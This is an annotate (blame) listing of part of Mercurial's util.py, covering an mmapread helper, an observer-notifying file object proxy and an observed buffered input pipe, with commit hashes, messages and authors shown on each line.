be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	417
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	418 return data
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	419
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	420
34302 3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	421 def mmapread(fp):
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	422 try:
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	423 fd = getattr(fp, 'fileno', lambda: fp)()
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	424 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	425 except ValueError:
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	426 # Empty files cannot be mmapped, but mmapread should still work. Check
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	427 # if the file is empty, and if so, return an empty buffer.
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	428 if os.fstat(fd).st_size == 0:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	429 return b''
34302 3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	430 raise
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	431
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	432
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	433 class fileobjectproxy(object):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	434 """A proxy around file objects that tells a watcher when events occur.
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	435
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	436 This type is intended to only be used for testing purposes. Think hard
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	437 before using it in important code.
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	438 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	439
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	440 __slots__ = (
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	441 r'_orig',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	442 r'_observer',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	443 )
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	444
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	445 def __init__(self, fh, observer):
36613 f5427483eebe util: add missing r prefix on some __setattr__ calls Augie Fackler <augie@google.com> parents: 36580 diff changeset	446 object.__setattr__(self, r'_orig', fh)
f5427483eebe util: add missing r prefix on some __setattr__ calls Augie Fackler <augie@google.com> parents: 36580 diff changeset	447 object.__setattr__(self, r'_observer', observer)
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	448
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	449 def __getattribute__(self, name):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	450 ours = {
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	451 r'_observer',
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	452 # IOBase
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	453 r'close',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	454 # closed if a property
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	455 r'fileno',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	456 r'flush',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	457 r'isatty',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	458 r'readable',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	459 r'readline',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	460 r'readlines',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	461 r'seek',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	462 r'seekable',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	463 r'tell',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	464 r'truncate',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	465 r'writable',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	466 r'writelines',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	467 # RawIOBase
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	468 r'read',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	469 r'readall',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	470 r'readinto',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	471 r'write',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	472 # BufferedIOBase
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	473 # raw is a property
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	474 r'detach',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	475 # read defined above
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	476 r'read1',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	477 # readinto defined above
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	478 # write defined above
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	479 }
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	480
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	481 # We only observe some methods.
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	482 if name in ours:
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	483 return object.__getattribute__(self, name)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	484
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	485 return getattr(object.__getattribute__(self, r'_orig'), name)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	486
36840 6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy Matt Harbison <matt_harbison@yahoo.com> parents: 36801 diff changeset	487 def __nonzero__(self):
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy Matt Harbison <matt_harbison@yahoo.com> parents: 36801 diff changeset	488 return bool(object.__getattribute__(self, r'_orig'))
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy Matt Harbison <matt_harbison@yahoo.com> parents: 36801 diff changeset	489
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy Matt Harbison <matt_harbison@yahoo.com> parents: 36801 diff changeset	490 __bool__ = __nonzero__
6bdea0efdab5 util: forward __bool__()/__nonzero__() on fileobjectproxy Matt Harbison <matt_harbison@yahoo.com> parents: 36801 diff changeset	491
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	492 def __delattr__(self, name):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	493 return delattr(object.__getattribute__(self, r'_orig'), name)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	494
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	495 def __setattr__(self, name, value):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	496 return setattr(object.__getattribute__(self, r'_orig'), name, value)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	497
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	498 def __iter__(self):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	499 return object.__getattribute__(self, r'_orig').__iter__()
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	500
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	501 def _observedcall(self, name, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	502 # Call the original object.
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	503 orig = object.__getattribute__(self, r'_orig')
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	504 res = getattr(orig, name)(args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	505
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	506 # Call a method on the observer of the same name with arguments
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	507 # so it can react, log, etc.
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	508 observer = object.__getattribute__(self, r'_observer')
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	509 fn = getattr(observer, name, None)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	510 if fn:
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	511 fn(res, args, *kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	512
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	513 return res
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	514
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	515 def close(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	516 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	517 r'close', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	518 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	519
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	520 def fileno(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	521 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	522 r'fileno', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	523 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	524
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	525 def flush(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	526 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	527 r'flush', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	528 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	529
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	530 def isatty(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	531 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	532 r'isatty', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	533 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	534
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	535 def readable(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	536 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	537 r'readable', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	538 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	539
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	540 def readline(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	541 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	542 r'readline', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	543 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	544
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	545 def readlines(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	546 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	547 r'readlines', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	548 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	549
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	550 def seek(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	551 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	552 r'seek', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	553 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	554
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	555 def seekable(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	556 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	557 r'seekable', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	558 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	559
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	560 def tell(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	561 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	562 r'tell', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	563 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	564
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	565 def truncate(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	566 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	567 r'truncate', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	568 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	569
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	570 def writable(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	571 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	572 r'writable', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	573 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	574
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	575 def writelines(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	576 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	577 r'writelines', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	578 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	579
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	580 def read(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	581 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	582 r'read', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	583 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	584
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	585 def readall(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	586 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	587 r'readall', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	588 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	589
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	590 def readinto(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	591 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	592 r'readinto', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	593 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	594
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	595 def write(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	596 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	597 r'write', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	598 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	599
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	600 def detach(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	601 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	602 r'detach', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	603 )
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	604
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	605 def read1(self, args, *kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	606 return object.__getattribute__(self, r'_observedcall')(
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	607 r'read1', args, *kwargs
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	608 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	609
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	610
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	611 class observedbufferedinputpipe(bufferedinputpipe):
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	612 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	613
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	614 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	615 bypass ``fileobjectproxy``. Because of this, we need to make
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	616 ``bufferedinputpipe`` aware of these operations.
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	617
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	618 This variation of ``bufferedinputpipe`` can notify observers about
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	619 ``os.read()`` events. It also re-publishes other events, such as
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	620 ``read()`` and ``readline()``.
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	621 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	622
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	623 def _fillbuffer(self):
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	624 res = super(observedbufferedinputpipe, self)._fillbuffer()
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	625
43103 c95b2f40db7c py3: stop normalizing 2nd argument of attr() to unicode Gregory Szorc <gregory.szorc@gmail.com>* parents: 43090 diff changeset	626 fn = getattr(self._input._observer, 'osread', None)
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	627 if fn:
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	628 fn(res, _chunksize)
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	629
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	630 return res
